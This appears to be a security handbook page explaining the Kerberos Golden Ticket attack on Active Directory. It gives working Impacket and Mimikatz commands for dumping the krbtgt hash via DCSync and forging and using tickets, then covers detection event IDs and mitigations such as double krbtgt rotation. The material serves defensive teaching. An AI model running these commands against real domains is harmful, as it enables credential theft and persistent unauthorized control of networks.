> For the complete documentation index, see [llms.txt](https://karim-ashraf.gitbook.io/karim_ashraf_space/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://karim-ashraf.gitbook.io/karim_ashraf_space/writeups/the-complete-active-directory-security-handbook/attack-technique-4-golden-ticket-attack.md).

# Attack Technique 4: Golden Ticket Attack

## **Golden Ticket Attacks: An Overview and Mitigation Strategies**

***

## **Introduction**

**Golden Ticket attacks** exploit the **Kerberos authentication protocol** in **Windows-based networks**, enabling attackers to forge **Kerberos Ticket Granting Tickets (TGTs)**. These forged tickets grant unauthorized and persistent access to domain resources, bypassing conventional authentication mechanisms. The key target in this attack is the **krbtgt** account, which plays a crucial role in encrypting and signing Kerberos tickets.

***

## **Attack Overview**

* **Exploited Protocol**: Kerberos Authentication (Windows Networks)
* **Targeted Account**: **krbtgt** (responsible for domain ticket encryption and signing)
* **Attack Goal**: Gain unauthorized access to domain resources and sensitive information.

**Attack Process**

1. **Initial Breach**:\
   The attacker compromises a system within the network.
2. **Privilege Escalation**:\
   Attains **Domain Administrator** privileges, granting access to the **krbtgt** account.
3. **Data Extraction**:\
   Obtains the **NTHash** of the **krbtgt** account and the domain’s **Security Identifier (SID)**.
4. **Golden Ticket Creation**:\
   Forges a **Kerberos TGT** with tailored privileges, often mimicking a **Domain Administrator** account.

***

## **Key Characteristics**

* **Persistence**:\
  The attack bypasses standard authentication checks and remains effective even after initial krbtgt password changes.
* **Broad Access**:\
  Grants extensive and enduring network access.
* **Negation Requirement**:\
  To fully mitigate the attack, the **krbtgt password** must be changed **twice**.

***

## **Tools and Techniques to Perform Golden Ticket Attacks**

### **Tool 1: Impacket**

**Impacket** is a collection of Python-based tools that facilitate Kerberos exploitation. The following steps outline its usage:

### **Step 1: Forging a Golden Ticket**

1. **Dump the NTHash of krbtgt Account and Domain SID**
   * **Tool**: `secretdump.py`\
     **Command**:

     ```bash
     secretdump.py Administrator:"Password"@<DC_IP_Address>
     ```

     **Output**:

     * NTHash of **krbtgt**.
     * Domain SID.
2. **Retrieve Domain SID (if unknown)**
   * **Tool**: `lookupsid.py`\
     **Command**:

     ```bash
     lookupsid.py EXAMPLE.local/Administrator:"Password"@<DC_IP_Address>
     ```
3. **Forge the Golden Ticket**
   * **Tool**: `ticketer.py`\
     **Command**:

     ```bash
     ticketer.py -nthash <NTHash> -domain-sid "<Domain_SID>" -domain <Domain_Name> <Target_User>
     ```

     **Example**:

     ```bash
     ticketer.py -nthash bf106a6860c6f7b3317c653a38aba33 -domain-sid "S-5-1-5-21-2049251289-867822404-1193079966" -domain EXAMPLE.local Alice
     ```

### **Step 2: Using the Golden Ticket**

1. **Set the Kerberos Ticket Location**\
   **Command**:

   ```bash
   export KRB5CCNAME=/path/to/ticket.ccache
   ```
2. **Use Impacket for Command Execution**:\
   **Command**:

   ```bash
   psexec.py $EXAMPLE.local/$Administrator@$TARGET_NAME -target-ip $TARGET_IP -dc-ip $DC_IP -no-pass -k
   ```

<figure><img src="https://1176031639-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNQ7A82FmDjR05oHeIjks%2Fuploads%2Fj9NxvcBcfnfisIsgJOlC%2FScreenshot%202024-10-23%20174327.png?alt=media&amp;token=f482b535-fe32-4bb3-8810-21e1821482de" alt=""><figcaption></figcaption></figure>

## **Tool 2: Mimikatz**

**Mimikatz** is a powerful tool used for credential extraction and ticket manipulation.

### **Step 1: Compromising the krbtgt Password Hash**

* **Command**:

  ```bash
  mimikatz.exe "lsadump::dcsync /user:DOMAIN\krbtgt"
  ```

  **Output**:

  * NTLM hash of **krbtgt**.
  * AES256\_HMAC keys.

### **Step 2: Forging a Golden Ticket**

* **Command**:

  ```bash
  mimikatz.exe "kerberos::golden /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /aes256:ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 /id:500 /user:Administrator /groups:GroupNumber /ptt"
  ```

### **Step 3: Using the Forged Ticket**

* The forged ticket can be used to authenticate and access resources within the network, bypassing standard authentication.

<figure><img src="https://1176031639-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNQ7A82FmDjR05oHeIjks%2Fuploads%2FdQ7Nrx8Tji3laKWq9adR%2FScreenshot%202024-10-23%20174048.png?alt=media&amp;token=61307641-a96f-44c9-b270-dc6de5284cdc" alt=""><figcaption></figcaption></figure>

***

## **Detection Methods for Golden Ticket Attacks**

Monitoring specific **Windows Event IDs** can help identify potential Golden Ticket attacks:

**Key Event IDs:**

1. **Event ID 4769**:\
   Logs **Kerberos Service Ticket requests**.
   * **Key Fields**: `Account Name`, `Service Name`, `Client Address`.
2. **Event ID 4624**:\
   Logs **successful logins**.
   * **Key Fields**: `Account Name`, `Account Domain`, `Logon ID`.
3. **Event ID 4627**:\
   Provides details about the **logon requestor account**.
   * **Key Fields**: `Security ID`, `Account Name`, `Account Domain`, `Logon ID`.

**Monitoring Strategies:**

* Look for tickets with unusually long lifetimes.
* Identify service ticket requests for nonexistent or high-privilege accounts.
* Correlate log events across multiple systems to detect lateral movement patterns.

***

## **Mitigation Techniques for Golden Ticket Attacks**

1. **Restrict Administrative Privileges**:\
   Limit administrative privileges across different security boundaries to reduce exposure.
2. **Minimize Elevated Privileges**:\
   Use **Domain Admin** accounts only when necessary and enforce the **Principle of Least Privilege**.
3. **Regular krbtgt Password Rotation**:\
   Change the **krbtgt** password regularly and twice in quick succession to invalidate forged tickets:
   * The first change invalidates existing tickets.
   * The second ensures complete mitigation.
4. **Deploy Network Segmentation**:\
   Isolate critical resources to limit lateral movement opportunities for attackers.
5. **Implement Multi-Factor Authentication (MFA)**:\
   Strengthen authentication by requiring multiple verification steps.
6. **Use Monitoring and Logging Solutions**:\
   Employ tools to continuously monitor Kerberos ticket activity and alert on anomalies.
7. **Conduct Regular Security Audits**:\
   Periodically review access logs, account activity, and security policies to detect vulnerabilities.

***

## **Conclusion**

Golden Ticket attacks exploit the **Kerberos authentication protocol** to achieve persistent, unauthorized access to **Active Directory environments**. By forging TGTs, attackers gain broad network access, bypassing conventional authentication controls.

Effective detection and mitigation strategies, such as **krbtgt password rotation**, **log monitoring**, and **restricting administrative privileges**, are essential to protect against such attacks. Organizations must adopt a proactive security posture, continuously improving their defenses to safeguard critical assets against advanced threats like Golden Ticket attacks.

<figure><img src="https://1176031639-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNQ7A82FmDjR05oHeIjks%2Fuploads%2FQFgRBKzUqaHnGI7DEN9g%2Fimage.png?alt=media&amp;token=b2cc0136-ca4a-4de1-bac1-d489481474d7" alt=""><figcaption></figcaption></figure>